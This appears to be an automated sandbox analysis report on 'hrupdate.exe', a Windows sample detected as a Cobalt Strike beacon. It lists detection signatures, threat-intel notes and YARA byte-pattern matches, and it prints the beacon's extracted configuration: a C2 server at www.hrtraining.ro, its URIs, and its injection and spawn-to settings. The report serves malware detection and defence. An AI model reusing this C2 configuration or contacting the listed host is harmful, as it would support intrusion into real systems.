Edit tour

Windows Analysis Report
hrupdate.exe

Overview

General Information

Sample name:	hrupdate.exe
Analysis ID:	1578569
MD5:	03b14e9338a1c9e5551f9450207f6d84
SHA1:	f1a816c47637c8d4d0b52b333cba11b0d7571fcb
SHA256:	7a4d2b3e83220df7a55944a838bb9ebaa8f8463cff62fa92ae10e640eeb4e498
Tags:	CobaltStrikeexeuser-smica83
Infos:

Detection

CobaltStrike

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected CobaltStrike

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to detect sleep reduction / modifications

Machine Learning detection for sample

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Found decision node followed by non-executed suspicious APIs

Found evasive API chain (date check)

Found evasive API chain (may stop execution after checking a module file name)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

hrupdate.exe (PID: 7428 cmdline: "C:\Users\user\Desktop\hrupdate.exe" MD5: 03B14E9338A1C9E5551F9450207F6D84)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Cobalt Strike, CobaltStrike	Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.	APT 29 APT32 APT41 AQUATIC PANDA Anunak Cobalt Codoso CopyKittens DarkHydrus Earth Baxia FIN6 FIN7 Leviathan Mustang Panda Shell Crew Stone Panda TianWu UNC1878 UNC2452 Winnti Umbrella	http://blog.morphisec.com/new-global-attack-on-point-of-sale-systems http://blog.nsfocus.net/murenshark http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa http://www.secureworks.com/research/threat-profiles/gold-drake	https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike

Malware Configuration

Threatname: CobaltStrike

{"BeaconType": ["HTTPS"], "Port": 443, "SleepTime": 15000, "MaxGetSize": 2801745, "Jitter": 37, "C2Server": "www.hrtraining.ro,/rss/portallogin-gettask.html", "HttpPostUri": "/rss/portallogin-sendlogin.html", "Malleable_C2_Instructions": ["Remove 1522 bytes from the end", "Remove 84 bytes from the beginning", "Remove 3931 bytes from the beginning", "Base64 URL-safe decode", "XOR mask w/ random key"], "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\gpupdate.exe", "Spawnto_x64": "%windir%\\sysnative\\gpupdate.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 309948737, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "False", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 17500, "ProcInject_PrependAppend_x86": ["kJA=", "Empty"], "ProcInject_PrependAppend_x64": ["kJA=", "Empty"], "ProcInject_Execute": ["ntdll:RtlUserThreadStart", "CreateThread", "NtQueueApcThread-s", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "NtMapViewOfSection", "bUsesCookies": "True", "HostHeader": ""}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0xd58b:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0xe236:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
dump.pcap	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x3f28a:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
dump.pcap	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x3f2f6:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
dump.pcap	Trojan_Raw_Generic_4	unknown	unknown	0xdf4e:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0xe52a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0xbb91:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0xc764:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x39798:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x39804:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0xc47c:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0xca12:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x177ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x44820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4488c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x17504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x17a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x13c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x147ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x41820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4188c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x14504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x14a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x177ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x44820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4488c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x17504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x17a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x177ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x44820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4488c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x17504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x17a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x177ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x44820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4488c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x17504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x17a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x12c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x137ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x40820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4088c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x13504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x13a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0xae07:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0xb9da:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x4ec19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x4f7ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x38a0e:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61 0x7c820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x38a7a:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1 0x7c88c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0xb6f2:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x4f504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0xbc88:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ... 0x4fa9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x177ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x44820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4488c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x17504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x17a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x16c19:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 0x177ec:$beacon_loader_x86: 25 FF FF FF 00 3D 41 41 41 00 75 3B 8B 4D B0 81 E1 FF FF FF 00 81 F9 42 42 42 00 75
00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x44820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4488c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x17504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x17a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
